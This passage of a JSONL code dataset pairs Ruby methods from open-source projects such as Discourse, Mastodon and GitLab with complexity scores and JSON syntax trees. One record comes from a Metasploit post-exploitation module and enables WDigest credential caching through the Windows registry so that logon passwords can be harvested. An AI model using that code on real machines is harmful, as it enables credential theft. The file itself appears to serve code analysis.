end","complexity_score":12.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new_filter_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"to_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicQuery\"]},\"new_filter\",{\"type\":\"const\",\"children\":[null,\"Topic\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"treat_as_new_topic_clause_sql\"]},{\"type\":\"send\",\"children\":[null,\"treat_as_new_topic_clause\"]}]}]}]},\"where_clause\"]},\"ast\"]}]},\"+\",{\"type\":\"str\",\"children\":[\" AND topics.created_at > :min_new_topic_date\"]}]},\"+\",{\"type\":\"str\",\"children\":[\" AND dismissed_topic_users.id IS NULL\"]}]}]}","id":"751c60fa-97d6-4d50-b9c2-86332cc84b64"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/migration_helpers.rb","start_line":414,"raw_source":"def change_column_type_concurrently(table, column, new_type)\n      temp_column = rename_column_name(column)\n\n      rename_column_concurrently(table, column, temp_column, type: new_type)\n\n      # Primary keys don't necessarily have an associated index.\n      if ActiveRecord::Base.get_primary_key(table) == column.to_s\n        old_pk_index_name = \"index_#{table}_on_#{column}\"\n        new_pk_index_name = \"index_#{table}_on_#{column}_cm\"\n\n        unless indexes_for(table, column).find{|i| i.name == old_pk_index_name}\n          add_concurrent_index(table, [temp_column],\n            unique: true,\n            name: new_pk_index_name\n          )\n        end\n      end\n    end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"change_column_type_concurrently\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"new_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"temp_column\",{\"type\":\"send\",\"children\":[null,\"rename_column_name\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"send\",\"children\":[null,\"rename_column_concurrently\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"temp_column\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"new_type\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"get_primary_key\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"to_s\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_pk_index_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"index_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"str\",\"children\":[\"_on_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_pk_index_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"index_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"str\",\"children\":[\"_on_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"str\",\"children\":[\"_cm\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indexes_for\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"old_pk_index_name\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_column\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"new_pk_index_name\"]}]}]}]}]}]},null]}]}]}","id":"64fd2e65-edfa-4d73-b860-d20bb49c7691"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/trips_helper.rb","start_line":4,"raw_source":"def immich_search_url(base_url, start_date, end_date)\n    query = {\n      takenAfter: \"#{start_date.to_date}T00:00:00.000Z\",\n      takenBefore: \"#{end_date.to_date}T23:59:59.999Z\"\n    }\n\n    encoded_query = URI.encode_www_form_component(query.to_json)\n    \"#{base_url}/search?query=#{encoded_query}\"\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"immich_search_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_url\"]},{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"end_date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"takenAfter\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_date\"]},\"to_date\"]}]},{\"type\":\"str\",\"children\":[\"T00:00:00.000Z\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"takenBefore\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_date\"]},\"to_date\"]}]},{\"type\":\"str\",\"children\":[\"T23:59:59.999Z\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"encode_www_form_component\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"to_json\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_url\"]}]},{\"type\":\"str\",\"children\":[\"/search?query=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded_query\"]}]}]}]}]}","id":"ce07323a-c649-4e51-b625-dfb1b7397dec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/render_access_tokens.rb","start_line":21,"raw_source":"def add_pagination_headers(relation)\n    Gitlab::Pagination::OffsetHeaderBuilder.new(\n      request_context: self,\n      per_page: relation.limit_value,\n      page: relation.current_page,\n      next_page: relation.next_page,\n      prev_page: relation.prev_page,\n      total: relation.total_count,\n      params: params.permit(:page, :per_page)\n    ).execute\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_pagination_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pagination\"]},\"OffsetHeaderBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_context\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"limit_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"current_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"next_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"next_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prev_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"prev_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"sym\",\"children\":[\"per_page\"]}]}]}]}]},\"execute\"]}]}","id":"e4cbd2b5-c71e-4667-a826-6903970cab62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metric_definition.rb","start_line":163,"raw_source":"def all\n          @all ||= definitions.map { |_key_path, definition| definition }\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"definitions\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_key_path\"]},{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"lvar\",\"children\":[\"definition\"]}]}]}]}","id":"c616e3cd-497b-4d00-9ae8-4ea6bd2e19c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/batched_background_migration_modification_checks_helper.rb","start_line":117,"raw_source":"def categorize_batched_background_migrations(migration_class_names)\n        finalized_migrations = {}\n        unremovable_migrations = []\n\n        yaml_files = DB_DOC_BBM_DIRECTORY.flat_map { |dir| Dir.glob(File.join(dir, \"*.yml\")) }\n\n        yaml_files.each do |file_path|\n          yaml_content_raw = File.read(file_path)\n          yaml_content = YAML.safe_load(yaml_content_raw, permitted_classes: [], aliases: false)\n          next unless yaml_content.is_a?(Hash)\n\n          migration_job_name = yaml_content[\"migration_job_name\"]\n          next unless migration_class_names.key?(migration_job_name)\n\n          finalized_by = yaml_content[\"finalized_by\"]\n\n          if finalized_by.to_s.match?(/\\A\\d{14}\\z/)\n            # Migration is finalized with a timestamp\n            finalized_migrations[migration_job_name] ||= []\n            finalized_migrations[migration_job_name] << {\n              background_migration_class_name: migration_class_names[migration_job_name],\n              finalized_migration_timestamp: finalized_by.to_s\n            }\n          else\n            # Migration is not finalized yet\n            unremovable_migrations << {\n              batched_background_migration_file: migration_class_names[migration_job_name],\n              comment: MISSING_FINALIZED_MIGRATION\n            }\n          end\n        rescue StandardError => e\n          warn \"Failed to parse YAML file #{file_path}: #{e.message}\"\n        end\n\n        # finalized_migrations =>=> {\"AlterWebhookDeletedAuditEvent\"=>\n        #   [{:background_migration_class_name=>\"lib/gitlab/background_migration/alter_webhook_deleted_audit_event.rb\",\n        #     :finalized_migration_timestamp=>\"20250213231656\"}]}\n        #\n        # unremovable_migrations =>\n        # [{:batched_background_migration_file=>\"lib/gitlab/background_migration/\" \\\n        # backfill_issue_tracker_data_sharding_key.rb\",\n        # :comment=>\"This code can only be modified...\"}]\n        [finalized_migrations, unremovable_migrations]\n      end","complexity_score":43.6,"ast_json":"{\"type\":\"def\",\"children\":[\"categorize_batched_background_migrations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration_class_names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"finalized_migrations\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"unremovable_migrations\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"yaml_files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_DOC_BBM_DIRECTORY\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"str\",\"children\":[\"*.yml\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"yaml_content_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"yaml_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"lvar\",\"children\":[\"yaml_content_raw\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permitted_classes\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aliases\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_content\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"migration_job_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"migration_job_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_class_names\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"migration_job_name\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"finalized_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"finalized_by\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finalized_by\"]},\"to_s\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\d{14}\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finalized_migrations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"migration_job_name\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finalized_migrations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"migration_job_name\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"background_migration_class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_class_names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"migration_job_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finalized_migration_timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finalized_by\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unremovable_migrations\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batched_background_migration_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_class_names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"migration_job_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"const\",\"children\":[null,\"MISSING_FINALIZED_MIGRATION\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to parse YAML file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finalized_migrations\"]},{\"type\":\"lvar\",\"children\":[\"unremovable_migrations\"]}]}]}]}","id":"4b6ca9b1-cb21-4dba-8b7f-b9528024b362"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/receiver.rb","start_line":368,"raw_source":"def bounce_key\n      @bounce_key ||=\n        begin\n          verp = all_destinations.select { |to| to[/\\+verp-\\h{32}@/] }.first\n          verp && verp[/\\+verp-(\\h{32})@/, 1]\n        end\n    end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"bounce_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bounce_key\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verp\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_destinations\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\+verp-\\\\h{32}@\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},\"first\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verp\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\+verp-(\\\\h{32})@\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"f21d78ee-8f64-48af-a91b-9b0f6e84d4a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group.rb","start_line":951,"raw_source":"def recalculate_user_count\n    DB.exec <<~SQL\n      UPDATE groups g\n      SET user_count =\n        (SELECT COUNT(gu.user_id)\n         FROM group_users gu\n         WHERE gu.group_id = g.id\n         AND gu.user_id > 0)\n      WHERE g.id = #{self.id};\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"recalculate_user_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE groups g\\n\"]},{\"type\":\"str\",\"children\":[\"SET user_count =\\n\"]},{\"type\":\"str\",\"children\":[\"  (SELECT COUNT(gu.user_id)\\n\"]},{\"type\":\"str\",\"children\":[\"   FROM group_users gu\\n\"]},{\"type\":\"str\",\"children\":[\"   WHERE gu.group_id = g.id\\n\"]},{\"type\":\"str\",\"children\":[\"   AND gu.user_id > 0)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE g.id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]}]}","id":"25c39160-6882-43d4-9d3e-63c077da57fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/wdigest_caching.rb","start_line":68,"raw_source":"def wdigest_enable\n    wdvalue = get_key\n    key_exists = !wdvalue.nil?\n\n    # If it is not present, create it\n    if wdvalue == 1\n      print_good('Registry value is already set. WDigest Security Provider is enabled')\n      return\n    end\n\n    verb = key_exists ? 'Setting' : 'Creating'\n    print_status(\"#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...\")\n    if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD')\n      print_good('WDigest Security Provider enabled')\n    else\n      print_error('Unable to access registry key - insufficient privileges?')\n    end\n  rescue Rex::Post::Meterpreter::RequestError => e\n    fail_with(Failure::Unknown, \"Unable to access registry key: #{e}\")\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"wdigest_enable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wdvalue\",{\"type\":\"send\",\"children\":[null,\"get_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wdvalue\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wdvalue\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Registry value is already set. WDigest Security Provider is enabled\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"verb\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_exists\"]},{\"type\":\"str\",\"children\":[\"Setting\"]},{\"type\":\"str\",\"children\":[\"Creating\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verb\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USE_LOGON_CREDENTIAL\"]}]},{\"type\":\"str\",\"children\":[\" DWORD value as 1...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_setvaldata\",{\"type\":\"const\",\"children\":[null,\"WDIGEST_REG_LOCATION\"]},{\"type\":\"const\",\"children\":[null,\"USE_LOGON_CREDENTIAL\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"REG_DWORD\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"WDigest Security Provider enabled\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to access registry key - insufficient privileges?\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to access registry key: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"cb973467-a4a3-40ed-9840-fd3618b451a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/representers/api/v3/grids/grid_representer.rb","start_line":129,"raw_source":"def scope_path\n          path = ::Grids::Configuration.to_scope(represented.class,\n                                                 scope_path_attributes)\n\n          # Remove all query params\n          # Those are added when the path does not actually require\n          # project or user\n          path&.gsub(/(\\?.+)|(\\.\\d+)\\z/, \"\")\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Grids\"]},\"Configuration\"]},\"to_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"class\"]},{\"type\":\"send\",\"children\":[null,\"scope_path_attributes\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\?.+)|(\\\\.\\\\d+)\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"84c5a275-9dc4-48a3-b152-22474f136e31"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20220726164831_fix_delete_rejected_email_after_days_site_setting.rb","start_line":3,"raw_source":"def up\n    delete_rejected_email_after_days =\n      DB.query_single(\n        \"SELECT value FROM site_settings WHERE name = 'delete_rejected_email_after_days'\",\n      ).first\n    delete_email_logs_after_days =\n      DB.query_single(\n        \"SELECT value FROM site_settings WHERE name = 'delete_email_logs_after_days'\",\n      ).first\n\n    # These settings via the sql query return nil if they are using their default values\n    unless delete_email_logs_after_days\n      delete_email_logs_after_days = DeleteRejectedEmailAfterDaysValidator::MAX\n    end\n\n    # Only update if the setting is not using the default and it is lower than 'delete_email_logs_after_days'\n    if delete_rejected_email_after_days != nil &&\n         delete_rejected_email_after_days.to_i < delete_email_logs_after_days.to_i\n      execute <<~SQL\n      UPDATE site_settings\n      SET value = #{delete_email_logs_after_days.to_i}\n      WHERE name = 'delete_rejected_email_after_days'\n      SQL\n    end\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delete_rejected_email_after_days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'delete_rejected_email_after_days'\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"delete_email_logs_after_days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'delete_email_logs_after_days'\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_email_logs_after_days\"]},null,{\"type\":\"lvasgn\",\"children\":[\"delete_email_logs_after_days\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeleteRejectedEmailAfterDaysValidator\"]},\"MAX\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_rejected_email_after_days\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_rejected_email_after_days\"]},\"to_i\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_email_logs_after_days\"]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE site_settings\\n\"]},{\"type\":\"str\",\"children\":[\"SET value = 